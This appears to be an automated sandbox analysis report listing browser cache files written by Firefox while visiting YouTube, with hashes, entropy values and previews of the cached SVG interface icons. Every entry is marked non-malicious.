Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	202
Entropy (8bit):	5.166202512669625
Encrypted:	false
SSDEEP:	6:95brGK9mc4slhohC/vmI4oVdGfzXpjXks8:95xnoU/vmRoVdIJXE
MD5:	D70DCBBADD16BB1A5654B6B88E896C0D
SHA1:	0390F109AE3B154932B451E5CBB8B3FC05D97E29
SHA-256:	EA04D22C96C85CFDED3F95AD248A3E1204F701264155170758B0C97B742FE37C
SHA-512:	D31967C7CAC02F3D4AA2E682A0491E0754358FF66E559E17C6C3A164F33C16BFCA68746C63530A73A4FD125FA3884E5945F391646A154884C4BA209D5D4010FC
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....B=...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M13 18h-2v-2h2v2zm0-8h-2v5h2v-5zm-1-4.11L20.2 19H3.8L12 5.89M12 4 2 20h20L12 4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\197\{c32f8d5b-a071-4cde-897e-52226a27e1c5}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	99
Entropy (8bit):	5.18849598458371
Encrypted:	false
SSDEEP:	3:9eluheo/sqDmJS4RKb5KVErcHghI4KuP0WTC:9vht9mc4slmR4rTC
MD5:	3E7DC63BE6DA02F295C1B9A5C56DD322
SHA1:	0AA6083DEE17A265EFA6814D10F0171753C5F042
SHA-256:	6CCAC4A1DD37F1F6D1BC68AAA92F48F02D92D3A23BE15DEE4D83C0B892FD09D8
SHA-512:	3EE1D46E61646303FBE77CFAE5231366EDD2862E9C2BFA45529FD7E90D7BF8FB62969C95F4125A17760BA6F934E5D51DBB5BA42BB43E24AF33B43FFC0FAF53B4
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.U..-../N.M<svg xmlns="http://www.w3.org/2000/svg"><path d="M8 5v14l11-7z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\197\{c32f8d5b-a071-4cde-897e-52226a27e1c5}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	99
Entropy (8bit):	5.18849598458371
Encrypted:	false
SSDEEP:	3:9eluheo/sqDmJS4RKb5KVErcHghI4KuP0WTC:9vht9mc4slmR4rTC
MD5:	3E7DC63BE6DA02F295C1B9A5C56DD322
SHA1:	0AA6083DEE17A265EFA6814D10F0171753C5F042
SHA-256:	6CCAC4A1DD37F1F6D1BC68AAA92F48F02D92D3A23BE15DEE4D83C0B892FD09D8
SHA-512:	3EE1D46E61646303FBE77CFAE5231366EDD2862E9C2BFA45529FD7E90D7BF8FB62969C95F4125A17760BA6F934E5D51DBB5BA42BB43E24AF33B43FFC0FAF53B4
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.U..-../N.M<svg xmlns="http://www.w3.org/2000/svg"><path d="M8 5v14l11-7z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\199\{653ce2ba-907f-4ec3-9489-98ff311f2fc7}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	465
Entropy (8bit):	5.039495820324108
Encrypted:	false
SSDEEP:	12:9DnoOAvmnqtXy+R/Ro1ImoXHNR50buAD2NfnRimbf:9Do7vNC+R/cImoXHN1Nf
MD5:	2300EAFFF09D478FBF68F49FDAFBFF49
SHA1:	12F127DA15A69BEECE4F71F600975E0503C77CE1
SHA-256:	F8C94C9F9DD4455EB89053D024BFD28AFA482A9C697732CE5ACB2DF3144E885F
SHA-512:	93D447B0A87E4C25DBCA71A80A198693B12C684C0A96B370693D693899230460BBD8C85C137DCC0B4872BD2D85FD0D10BFE3F4137C1B08F01DA3A9BBFA481447
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....)Z`.....<svg xmlns="http://www.w3.org/2000/svg" height="24" style="enable-background:new 0 0 24 24;" viewBox="0 0 24 24" width="24"><g><path d="M14.97 16.95 10 13.87V7h2v5.76l4.03 2.49-1.06 1.7zM22 12c0 5.51-4.49 10-10 10S2 17.51 2 12h1c0 4.96 4.04 9 9 9s9-4.04 9-9-4.04-9-9-9C8.81 3 5.92 4.64 4.28 7.38c-.11.18-.22.37-.31.56L3.94 8H8v1H1.96V3h1v4.74c.04-.09.07-.17.11-.25.11-.22.23-.42.35-.63C5.22 3.86 8.51 2 12 2c5.51 0 10 4.49 10 10z"/></g></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\199\{653ce2ba-907f-4ec3-9489-98ff311f2fc7}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	465
Entropy (8bit):	5.039495820324108
Encrypted:	false
SSDEEP:	12:9DnoOAvmnqtXy+R/Ro1ImoXHNR50buAD2NfnRimbf:9Do7vNC+R/cImoXHN1Nf
MD5:	2300EAFFF09D478FBF68F49FDAFBFF49
SHA1:	12F127DA15A69BEECE4F71F600975E0503C77CE1
SHA-256:	F8C94C9F9DD4455EB89053D024BFD28AFA482A9C697732CE5ACB2DF3144E885F
SHA-512:	93D447B0A87E4C25DBCA71A80A198693B12C684C0A96B370693D693899230460BBD8C85C137DCC0B4872BD2D85FD0D10BFE3F4137C1B08F01DA3A9BBFA481447
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....)Z`.....<svg xmlns="http://www.w3.org/2000/svg" height="24" style="enable-background:new 0 0 24 24;" viewBox="0 0 24 24" width="24"><g><path d="M14.97 16.95 10 13.87V7h2v5.76l4.03 2.49-1.06 1.7zM22 12c0 5.51-4.49 10-10 10S2 17.51 2 12h1c0 4.96 4.04 9 9 9s9-4.04 9-9-4.04-9-9-9C8.81 3 5.92 4.64 4.28 7.38c-.11.18-.22.37-.31.56L3.94 8H8v1H1.96V3h1v4.74c.04-.09.07-.17.11-.25.11-.22.23-.42.35-.63C5.22 3.86 8.51 2 12 2c5.51 0 10 4.49 10 10z"/></g></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\19\{287625f0-ed98-49f8-9c4e-adc8ab512e13}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	224
Entropy (8bit):	5.552197544238122
Encrypted:	false
SSDEEP:	6:9XHK69mc4slhLJ9hCc70q2IBIAFzKVN/YWAIQfgZi:9a67N9UM2I+jVyIKg8
MD5:	63C7F2FC0FF6A57FF3D98D003B00ABC5
SHA1:	7EFF871879B328E59DC2A5E959C9EFDB9E93C91E
SHA-256:	D750432333B0CF3E88461237110CE0718E2118F3F65D368E9E0D798B9986C440
SHA-512:	B3EB057CB9578836664BC1D73FF55A40E66EB48B8A210587DCB2ADBAD404C99A324E388B2D88A77E61F67BF25A3825A4768E7CF6F126008637FEB3DD01255D63
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....U.k...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...^><path d="M11 17H9V8h2v9zm4-9h-2v9h2V8zm4-4v1h-1v16H6V5H5V4h4V3h6v1h4zm-2 1H7v15h10V5z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\19\{287625f0-ed98-49f8-9c4e-adc8ab512e13}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	224
Entropy (8bit):	5.552197544238122
Encrypted:	false
SSDEEP:	6:9XHK69mc4slhLJ9hCc70q2IBIAFzKVN/YWAIQfgZi:9a67N9UM2I+jVyIKg8
MD5:	63C7F2FC0FF6A57FF3D98D003B00ABC5
SHA1:	7EFF871879B328E59DC2A5E959C9EFDB9E93C91E
SHA-256:	D750432333B0CF3E88461237110CE0718E2118F3F65D368E9E0D798B9986C440
SHA-512:	B3EB057CB9578836664BC1D73FF55A40E66EB48B8A210587DCB2ADBAD404C99A324E388B2D88A77E61F67BF25A3825A4768E7CF6F126008637FEB3DD01255D63
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....U.k...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...^><path d="M11 17H9V8h2v9zm4-9h-2v9h2V8zm4-4v1h-1v16H6V5H5V4h4V3h6v1h4zm-2 1H7v15h10V5z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\1\{b051c7a8-be7e-4367-a280-066f5a68d201}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	271
Entropy (8bit):	5.479889575715858
Encrypted:	false
SSDEEP:	6:9bl0Z19mc4slhohgqWHiA4vmI4hi6Dd7kCsOWpyUclZ:9butnoOAvmRnJ7lFWpyFH
MD5:	5409F7BF4F5BEE52DF75C2E72DCC9F36
SHA1:	7D03D02AC3127B6D3BAE88725B830F05E2C19B92
SHA-256:	1E026C82F67C10FC4746F558AC948FA6549402B7331D97FCF7B22690CB8A6696
SHA-512:	B3B6A124599C979B29F89ECB3D28F494E1D9046E373539F94ACD3D89DE284DCADF860C38067BB496E0D8A9D6F1A4E54E15A82D0DBABFCC6280543A25B7BB86F0
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........<svg xmlns="http://www.w3.org/2000/svg" height="24" style="enable-background:new 0 0 24 24;" viewBox="0 0 24 24" width="24"><path d="M14 13h-3v3H9v-3H6v-2h3V8h2v3h3v2zm3-7H3v12h14v-6.39l4 1.83V8.56l-4 1..T6m1-1v3.83L22 7v8l-4-1..H19H2V5h16z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\1\{b051c7a8-be7e-4367-a280-066f5a68d201}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	271
Entropy (8bit):	5.479889575715858
Encrypted:	false
SSDEEP:	6:9bl0Z19mc4slhohgqWHiA4vmI4hi6Dd7kCsOWpyUclZ:9butnoOAvmRnJ7lFWpyFH
MD5:	5409F7BF4F5BEE52DF75C2E72DCC9F36
SHA1:	7D03D02AC3127B6D3BAE88725B830F05E2C19B92
SHA-256:	1E026C82F67C10FC4746F558AC948FA6549402B7331D97FCF7B22690CB8A6696
SHA-512:	B3B6A124599C979B29F89ECB3D28F494E1D9046E373539F94ACD3D89DE284DCADF860C38067BB496E0D8A9D6F1A4E54E15A82D0DBABFCC6280543A25B7BB86F0
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........<svg xmlns="http://www.w3.org/2000/svg" height="24" style="enable-background:new 0 0 24 24;" viewBox="0 0 24 24" width="24"><path d="M14 13h-3v3H9v-3H6v-2h3V8h2v3h3v2zm3-7H3v12h14v-6.39l4 1.83V8.56l-4 1..T6m1-1v3.83L22 7v8l-4-1..H19H2V5h16z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\208\{4a5314a9-392c-4941-abc1-6f4631172bd0}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	225
Entropy (8bit):	5.585094330732613
Encrypted:	false
SSDEEP:	6:9F769mc4slhLJ9hCOMJqgzQFqkr5TXT085Y:987N9UOYOFfrBTm
MD5:	CEDFD917C042BFD5FAEA22058D451AD1
SHA1:	5A98904FBF1C9BEA6D27F75C42AA49C66DB8C54F
SHA-256:	9CFC9E25C7E723ABF5C14049886F33D836C6AB91B40218920EFBDC864764F3F2
SHA-512:	5F7513B881549ABA1FAD170019DDF45E780DDB6A576E08365F4C9AB2C8BF4E7D2D5053B1DB4EC6A2AF570DE21A182FC8981A0790881172D8605C023FBBBBA4D8
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....!......^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M10 18v-6l5 3-5 3zm7-15H7v1h10V3zm3 3H4...6V6zm2 3H2v12h20V9zM3 10h18v10H3V10z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\208\{4a5314a9-392c-4941-abc1-6f4631172bd0}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	225
Entropy (8bit):	5.585094330732613
Encrypted:	false
SSDEEP:	6:9F769mc4slhLJ9hCOMJqgzQFqkr5TXT085Y:987N9UOYOFfrBTm
MD5:	CEDFD917C042BFD5FAEA22058D451AD1
SHA1:	5A98904FBF1C9BEA6D27F75C42AA49C66DB8C54F
SHA-256:	9CFC9E25C7E723ABF5C14049886F33D836C6AB91B40218920EFBDC864764F3F2
SHA-512:	5F7513B881549ABA1FAD170019DDF45E780DDB6A576E08365F4C9AB2C8BF4E7D2D5053B1DB4EC6A2AF570DE21A182FC8981A0790881172D8605C023FBBBBA4D8
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....!......^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M10 18v-6l5 3-5 3zm7-15H7v1h10V3zm3 3H4...6V6zm2 3H2v12h20V9zM3 10h18v10H3V10z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\209\{62e9d64f-cc06-4003-aab0-119681ea8ed1}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	258
Entropy (8bit):	5.76710004475006
Encrypted:	false
SSDEEP:	6:9RqROCI9mc4slhLJ9hCWCCU7IIr530wuCpsTci:9Ryt47N9UWXrw9WTci
MD5:	D0D1672CC7D147F9F802EBEFDB01E914
SHA1:	22ED7EB147F695EC1DF8AE6F43CB7787DD0EA652
SHA-256:	62EFA98B135E5EF8779B99489AB8200B60026A5B1000FF3C997F3BE230FEBE2F
SHA-512:	7F8EF8AF3F57A6AAB90CCDA6AB1079E43630DE11D14A780786A1B0F1AB057D7CFD5AB512B53ECD8DDD1BCC669FA56A0C260B2DF421DB64E3855DEE7D63251A68
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....>@.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..x><path d="M12 16.5c.83 0 1.5.67.....s-...-1..........,... 1.5...zM10.).2c0 .83.=. .=.s.&..............6.. 1.5zm0-6.I..I "/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\209\{62e9d64f-cc06-4003-aab0-119681ea8ed1}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	258
Entropy (8bit):	5.76710004475006
Encrypted:	false
SSDEEP:	6:9RqROCI9mc4slhLJ9hCWCCU7IIr530wuCpsTci:9Ryt47N9UWXrw9WTci
MD5:	D0D1672CC7D147F9F802EBEFDB01E914
SHA1:	22ED7EB147F695EC1DF8AE6F43CB7787DD0EA652
SHA-256:	62EFA98B135E5EF8779B99489AB8200B60026A5B1000FF3C997F3BE230FEBE2F
SHA-512:	7F8EF8AF3F57A6AAB90CCDA6AB1079E43630DE11D14A780786A1B0F1AB057D7CFD5AB512B53ECD8DDD1BCC669FA56A0C260B2DF421DB64E3855DEE7D63251A68
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....>@.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..x><path d="M12 16.5c.83 0 1.5.67.....s-...-1..........,... 1.5...zM10.).2c0 .83.=. .=.s.&..............6.. 1.5zm0-6.I..I "/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\214\{86a9035a-0c4d-499b-8cba-b128360facd6}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	4069
Entropy (8bit):	5.988941942148477
Encrypted:	false
SSDEEP:	96:xHJsNxEXUCwu11G9GFbfvieIFD5jRLVcP/kA7:xqEUC7RUR5jRW3kA7
MD5:	5B0F165BBDB71FAA1BB5B26C4F022E96
SHA1:	704BBE81E0D8370E675246E1CBB347BF8599AA45
SHA-256:	B95A445BD9D295276E8423F1AD3FC50C740512A634F2115364217544BC87D44F
SHA-512:	6C521B2C55135EC98F79193BF9C62B73CFB1801CDEED03A9871878F677AACEA46CAE165A4290682768CA1C1192DFF2E87B63C39228164D72D2C7ABBE732F8D20
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY........+.. LINT.IfChange-->.<svg xmlns="http://www.w3.org/2000/svg" id="yt-logo-updated-svg" class="external-icon" viewBox="0 0 90 20">. <svg id=":K.R1.. preserveAspectRatio="xMidYMid meet" ....>. <g... <path d="M27.9727 3.12324C27.6435 1.89323 26.6768 0.926623 25.4468 0.597366C23.2197 2.24288e-07 14.285 0 14.285 0C14.285 0 5.35042 2.24288e-07 .}.3.T.1.~.0.v...........P.5.d.0 10...C...#..14.6496.s 16.8768C.j.8.1068.r.19.0734.q.3...4026C.m.20.U......C-..20 23-).0 1E.19.D.2-f.d5...1....28.5701.q.....0...&...6775..Q)zP4Z" fill="#FF0000"></A#F0..11.4253.zP2854L18.8477 10.0004L. .5.71533V...a.white6_..</g.h]..gi".outube-...sM...Y..34.6024 13.0036L31.3945 1.41846H34.1932L35.3174 6.6701C35.6043 7.96361 35.8136 9.06662 35.95 9.97913H36.0323C36.1264 9.32532 36.3381 8.22937 36.665 6.68892L37.8291 1...40.6278...3799...V18.561...6001V....!.:......41.4697 A( 937C40.90!.L7.8127 40.5031 17.22...2632AF.415..80257 15.6114 39.>.8!..5437..83.2078V11.3898C.(.0.04.X...8.95805.h(315 8

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\214\{86a9035a-0c4d-499b-8cba-b128360facd6}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	4069
Entropy (8bit):	5.988941942148477
Encrypted:	false
SSDEEP:	96:xHJsNxEXUCwu11G9GFbfvieIFD5jRLVcP/kA7:xqEUC7RUR5jRW3kA7
MD5:	5B0F165BBDB71FAA1BB5B26C4F022E96
SHA1:	704BBE81E0D8370E675246E1CBB347BF8599AA45
SHA-256:	B95A445BD9D295276E8423F1AD3FC50C740512A634F2115364217544BC87D44F
SHA-512:	6C521B2C55135EC98F79193BF9C62B73CFB1801CDEED03A9871878F677AACEA46CAE165A4290682768CA1C1192DFF2E87B63C39228164D72D2C7ABBE732F8D20
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY........+.. LINT.IfChange-->.<svg xmlns="http://www.w3.org/2000/svg" id="yt-logo-updated-svg" class="external-icon" viewBox="0 0 90 20">. <svg id=":K.R1.. preserveAspectRatio="xMidYMid meet" ....>. <g... <path d="M27.9727 3.12324C27.6435 1.89323 26.6768 0.926623 25.4468 0.597366C23.2197 2.24288e-07 14.285 0 14.285 0C14.285 0 5.35042 2.24288e-07 .}.3.T.1.~.0.v...........P.5.d.0 10...C...#..14.6496.s 16.8768C.j.8.1068.r.19.0734.q.3...4026C.m.20.U......C-..20 23-).0 1E.19.D.2-f.d5...1....28.5701.q.....0...&...6775..Q)zP4Z" fill="#FF0000"></A#F0..11.4253.zP2854L18.8477 10.0004L. .5.71533V...a.white6_..</g.h]..gi".outube-...sM...Y..34.6024 13.0036L31.3945 1.41846H34.1932L35.3174 6.6701C35.6043 7.96361 35.8136 9.06662 35.95 9.97913H36.0323C36.1264 9.32532 36.3381 8.22937 36.665 6.68892L37.8291 1...40.6278...3799...V18.561...6001V....!.:......41.4697 A( 937C40.90!.L7.8127 40.5031 17.22...2632AF.415..80257 15.6114 39.>.8!..5437..83.2078V11.3898C.(.0.04.X...8.95805.h(315 8

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\218\{f660056c-e9b9-4961-bf31-f4c4ffa985da}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	581
Entropy (8bit):	5.11995245392148
Encrypted:	false
SSDEEP:	12:9CnoU/vmRTKd2aNsnpKCNZGgkvYq8gXYX4GR1dGUM+NOG0J791:9CoU/vo4Psk0GjvCgXNGR1dZTq91
MD5:	E0D3CCBC7599537AE0D86BFD92AE8017
SHA1:	7B4FFB5C830AE5BE3D105823147376B22D883738
SHA-256:	C9E60C5CDE94601AE09D8A02F14B6484D22D015605C782BE987371E99EAAC0BF
SHA-512:	A1DDCDC0483DADA172D93605FBC9E0BBCEB6D6A8ACD09BB93B005A4FBC6C725DD5BB515FD3B64AB44F32FBD49FA96E4BB9A8E5D44A320C4B2C0E5AD665AA2734
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.7..Rv......<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4....-10S17.52 2 12 2zM3 12c0-.7.09-1.37.24-2.02L8 14.71v.79c0 1.76 1.31 3.22 3 3.46v1.98c-4.49-.5-8-4.32-8-8.94zm8.5 6C10.12 18 9 16.8..85.5v-1.21l-5.43..<C4.84 5.46 8.13 ... 3c1.05 0 2.06.19 3 .53V5c0 .55-.45 1-1 1h-3v2c:.. H8v3h6c.5.A.1 .-. 1v4h2B..0.69C16.41 20....4.31 21%$.1v-3h-.5zm7.47-.31C18.82 16.73 18 16 17 16h-1v-3c0-1.1-.9-2..(H9v-1h1c1.1..(-.9 2-2V7h2>...3.95c2.9!h048 5 4.53 5 81..16-!..4.1%.<3 5.69z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\218\{f660056c-e9b9-4961-bf31-f4c4ffa985da}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	581
Entropy (8bit):	5.11995245392148
Encrypted:	false
SSDEEP:	12:9CnoU/vmRTKd2aNsnpKCNZGgkvYq8gXYX4GR1dGUM+NOG0J791:9CoU/vo4Psk0GjvCgXNGR1dZTq91
MD5:	E0D3CCBC7599537AE0D86BFD92AE8017
SHA1:	7B4FFB5C830AE5BE3D105823147376B22D883738
SHA-256:	C9E60C5CDE94601AE09D8A02F14B6484D22D015605C782BE987371E99EAAC0BF
SHA-512:	A1DDCDC0483DADA172D93605FBC9E0BBCEB6D6A8ACD09BB93B005A4FBC6C725DD5BB515FD3B64AB44F32FBD49FA96E4BB9A8E5D44A320C4B2C0E5AD665AA2734
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.7..Rv......<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4....-10S17.52 2 12 2zM3 12c0-.7.09-1.37.24-2.02L8 14.71v.79c0 1.76 1.31 3.22 3 3.46v1.98c-4.49-.5-8-4.32-8-8.94zm8.5 6C10.12 18 9 16.8..85.5v-1.21l-5.43..<C4.84 5.46 8.13 ... 3c1.05 0 2.06.19 3 .53V5c0 .55-.45 1-1 1h-3v2c:.. H8v3h6c.5.A.1 .-. 1v4h2B..0.69C16.41 20....4.31 21%$.1v-3h-.5zm7.47-.31C18.82 16.73 18 16 17 16h-1v-3c0-1.1-.9-2..(H9v-1h1c1.1..(-.9 2-2V7h2>...3.95c2.9!h048 5 4.53 5 81..16-!..4.1%.<3 5.69z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\220\{348d73b2-19cd-44b4-9a46-30b7cffe84dc}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	204
Entropy (8bit):	5.258703881901668
Encrypted:	false
SSDEEP:	6:9THOI9mc4slhohC/vmI4OhEQfR6Fb3Y1OQlb:9ZnoU/vmROh56mtV
MD5:	F5EC5B6FDCB0FE6F76ACA19310305268
SHA1:	46D30CA75E110987809F6CD78F52B5CB35302754
SHA-256:	C9F94F5A2384B5A253CBC563CAE021FB1D15762412FABEF25D90B4F0C60814D0
SHA-512:	D22BA260C9738129D976DF698208C8CC7A9B70DD89C0F81F995F0105940A2956E3097ADFD2C300C94387EBBFF54AF720429795EE1BF4D81F3A1B6A6CC666940E
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M18 18v2H6v-2h12zm-.6-6.3L16 10.3l-3 2.9V4h-2v9.2l-3-2.9-1.4 1.4 5.4 5.4 5.4-5.4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\220\{348d73b2-19cd-44b4-9a46-30b7cffe84dc}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	204
Entropy (8bit):	5.258703881901668
Encrypted:	false
SSDEEP:	6:9THOI9mc4slhohC/vmI4OhEQfR6Fb3Y1OQlb:9ZnoU/vmROh56mtV
MD5:	F5EC5B6FDCB0FE6F76ACA19310305268
SHA1:	46D30CA75E110987809F6CD78F52B5CB35302754
SHA-256:	C9F94F5A2384B5A253CBC563CAE021FB1D15762412FABEF25D90B4F0C60814D0
SHA-512:	D22BA260C9738129D976DF698208C8CC7A9B70DD89C0F81F995F0105940A2956E3097ADFD2C300C94387EBBFF54AF720429795EE1BF4D81F3A1B6A6CC666940E
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M18 18v2H6v-2h12zm-.6-6.3L16 10.3l-3 2.9V4h-2v9.2l-3-2.9-1.4 1.4 5.4 5.4 5.4-5.4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\220\{d244e055-4fbd-411e-ae63-a5daaca388dc}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	645
Entropy (8bit):	4.747286186651818
Encrypted:	false
SSDEEP:	12:9a47N9UKllNAz9Cf2+uFNxLjRJqpOyaIj24iexYNjbnME:9a4jUKRAz9C2NDx7MraCvC/ME
MD5:	50AF989865F9DAD63F573C5F2BB66321
SHA1:	91C2C613FE2FAF799D1916E3245C8F7672926D28
SHA-256:	D36552977B70782F63C9FD0EBBADCE131EB78616C7C5F0E0274746CB0ADCDE8C
SHA-512:	074F69AF44958BF010198BDD2A37272D30DA53A22D58313606F5C1F19D67597B98C6CFF376BFEBF63E199F3965BEE93A0588CCA0AD70A8EB9E9DE3AD9AFE5D29
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.w..4".....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width.....><path d="M13 13.72V22h-2v-8.28c-.6-.35-1-.98-1-1.72 0-1.1.9-2 2-2s2 .9 2 2c0 .74-.4 1.38-1 1.72zm-5.23 2.53 1.42-1.42C8.45 14.11 8 13.11 8 12c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.11-1.18 2.83l1.42 1.42C17.33 15.16 18 13.66 18 12c0-3.31-2.69-6-6-6s-6 2.69-6 6c0 1.66.67 3.16 1.77 4.25zm-2.83 2.83 1.42-1.42C4.9 16.21 4 14.21 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8c0 2.21-.9 4.21-2.35 5.66l1.42 1.42C20.88 17.27 22 14.77 22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 2.77 1.12 5.27 2.94 7.08z" fill-rule="evenodd"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\220\{d244e055-4fbd-411e-ae63-a5daaca388dc}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	645
Entropy (8bit):	4.747286186651818
Encrypted:	false
